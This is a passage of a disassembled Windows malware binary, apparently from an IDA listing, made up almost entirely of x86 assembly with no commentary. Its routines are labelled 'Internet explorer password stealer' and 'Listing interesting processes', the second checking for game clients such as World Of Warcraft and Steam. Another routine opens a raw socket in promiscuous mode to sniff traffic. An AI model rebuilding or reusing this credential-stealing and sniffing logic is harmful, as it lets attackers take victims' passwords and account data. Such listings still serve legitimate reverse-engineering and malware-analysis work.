		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset asc_4184FC ; ":"
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415587:				; CODE XREF: sub_414EF4+659j
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D564
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4155CE:				; CODE XREF: sub_414EF4+62Cj
		push	offset aB9819c52 ; "b9819c52"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_415842
		and	dword ptr [ebp-0FC8h], 0
		mov	dword ptr [ebp-0EFCh], 1
		and	dword ptr [ebp-0FCCh], 0
		jmp	short loc_415610
; ---------------------------------------------------------------------------


loc_415602:				; CODE XREF: sub_414EF4:loc_4156CFj
		mov	eax, [ebp-0FCCh]
		inc	eax
		inc	eax
		mov	[ebp-0FCCh], eax


loc_415610:				; CODE XREF: sub_414EF4+70Cj
		mov	eax, [ebp-0FCCh]
		cmp	eax, [ebp-0E18h]
		jnb	loc_4156D4
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_415652
		mov	eax, [ebp-0FC8h]
		mov	byte ptr [ebp+eax-9FCh], 2Ch
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax
		jmp	short loc_4156CF
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_414EF4+73Fj
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	al, [eax]
		push	eax
		call	dword_4171DC	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 40h
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jz	short loc_4156A7
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Fh
		jnz	short loc_4156CF


loc_4156A7:				; CODE XREF: sub_414EF4+775j
					; sub_414EF4+789j ...
		mov	eax, [ebp-0EE8h]
		add	eax, [ebp-0FCCh]
		mov	ecx, [ebp-0FC8h]
		mov	al, [eax]
		mov	[ebp+ecx-9FCh],	al
		mov	eax, [ebp-0FC8h]
		inc	eax
		mov	[ebp-0FC8h], eax


loc_4156CF:				; CODE XREF: sub_414EF4+75Cj
					; sub_414EF4+7B1j
		jmp	loc_415602
; ---------------------------------------------------------------------------


loc_4156D4:				; CODE XREF: sub_414EF4+728j
		mov	eax, [ebp-0FC8h]
		and	byte ptr [ebp+eax-9FDh], 0
		lea	eax, [ebp-9FAh]
		mov	[ebp-0EF4h], eax
		and	dword ptr [ebp-0EF8h], 0
		jmp	short loc_415704
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_414EF4:loc_41583Dj
		mov	eax, [ebp-0EF8h]
		inc	eax
		mov	[ebp-0EF8h], eax


loc_415704:				; CODE XREF: sub_414EF4+801j
		mov	eax, [ebp-0EE8h]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-0EF8h], eax
		jge	loc_415842
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D554
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41575C
		push	offset dword_41D554
		lea	eax, [ebp-0FC4h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_41575C:				; CODE XREF: sub_414EF4+850j
		push	offset dword_41D554
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415798
		push	offset dword_41D554
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		inc	eax
		push	eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_4170FC	; lstrcpy


loc_415798:				; CODE XREF: sub_414EF4+87Ej
		push	offset dword_41D554
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4157C5
		push	offset dword_41D554
		lea	eax, [ebp-0F60h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4157C5:				; CODE XREF: sub_414EF4+8B9j
		push	offset dword_41D554
		mov	eax, [ebp-0EF4h]
		inc	eax
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp-0F60h]
		push	eax
		call	dword_41703C	; lstrlen
		lea	eax, [esi+eax+9]
		mov	[ebp-0EF4h], eax
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_41583D
		lea	eax, [ebp-0F60h]
		push	eax
		lea	eax, [ebp-0FC4h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D514
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_41583D:				; CODE XREF: sub_414EF4+91Fj
		jmp	loc_4156F7
; ---------------------------------------------------------------------------


loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	dword_417108	; lstrcmp
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D4F4
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D4F4
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_417100	; lstrcpyn
		push	offset dword_41D4EC
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D4E4
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D49C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------


loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DF10
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D554
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D554
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	dword_4170FC	; lstrcpy
		push	offset dword_41D554
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D440
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------


loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------


loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D404
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]


loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DF60, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: brattyty:00416FB6p
					; brattyty:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax


loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1


loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1


loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1


loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1


loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1


loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"


loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"


loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"


loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"


loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"


loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D684
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7B4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D810
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D884
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D8C8
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41DA94
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
